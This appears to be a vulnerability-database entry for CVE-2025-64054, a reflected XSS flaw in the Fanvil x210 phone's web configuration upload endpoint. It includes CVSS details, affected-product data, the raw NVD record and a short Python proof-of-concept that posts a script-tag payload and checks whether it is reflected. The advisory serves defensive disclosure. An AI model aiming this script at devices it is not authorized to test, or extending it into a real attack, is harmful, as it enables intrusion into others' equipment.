Security Vulnerability Report
中文
CVE-2025-64054 CVSS 9.6 CRITICAL

CVE-2025-64054

Published: 2025-12-05 16:15:50
Last Modified: 2026-01-09 02:17:20

Description

A reflected Cross Site Scripting (XSS) vulnerability on Fanvil x210 2.12.20 devices allows attackers to cause a denial of service or potentially execute arbitrary commands via crafted POST request to the /cgi-bin/webconfig?page=upload&action=submit endpoint.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:fanvil:x210_firmware:2.12.20:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:fanvil:x210:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
Fanvil x210 < 2.12.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64054 PoC - Reflected XSS in Fanvil x210 # Target: Fanvil x210 device /cgi-bin/webconfig?page=upload&action=submit def exploit_xss(target_url, payload): """ Exploit reflected XSS vulnerability in Fanvil x210 Args: target_url: Base URL of the Fanvil x210 device payload: XSS payload to inject Returns: Response from the server """ endpoint = f"{target_url}/cgi-bin/webconfig" params = { 'page': 'upload', 'action': 'submit' } # Malicious XSS payload data = { 'file': payload } try: response = requests.post(endpoint, params=params, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-64054.py <target_url>") print("Example: python cve-2025-64054.py http://192.168.1.100") sys.exit(1) target = sys.argv[1] # Basic XSS payload to test vulnerability xss_payload = "<script>alert('XSS')</script>" print(f"[*] Testing CVE-2025-64054 on {target}") print(f"[*] Payload: {xss_payload}") result = exploit_xss(target, xss_payload) if result and xss_payload in result: print("[+] VULNERABLE - XSS payload reflected in response") else: print("[-] Not vulnerable or target not responding")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64054", "sourceIdentifier": "[email protected]", "published": "2025-12-05T16:15:50.330", "lastModified": "2026-01-09T02:17:20.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected Cross Site Scripting (XSS) vulnerability on Fanvil x210 2.12.20 devices allows attackers to cause a denial of service or potentially execute arbitrary commands via crafted POST request to the /cgi-bin/webconfig?page=upload&action=submit endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fanvil:x210_firmware:2.12.20:*:*:*:*:*:*:*", "matchCriteriaId": "B5339CEB-DD13-43D9-9DBB-F58EA2EDC47D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:fanvil:x210:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "826351F9-626E-4EA9-9634-9E04B462AF4A"}]}]}], "references": [{"url": "http://fanvil.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/SpikeReply/advisories/blob/main/cve/fanvil/cve-2025-64054.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}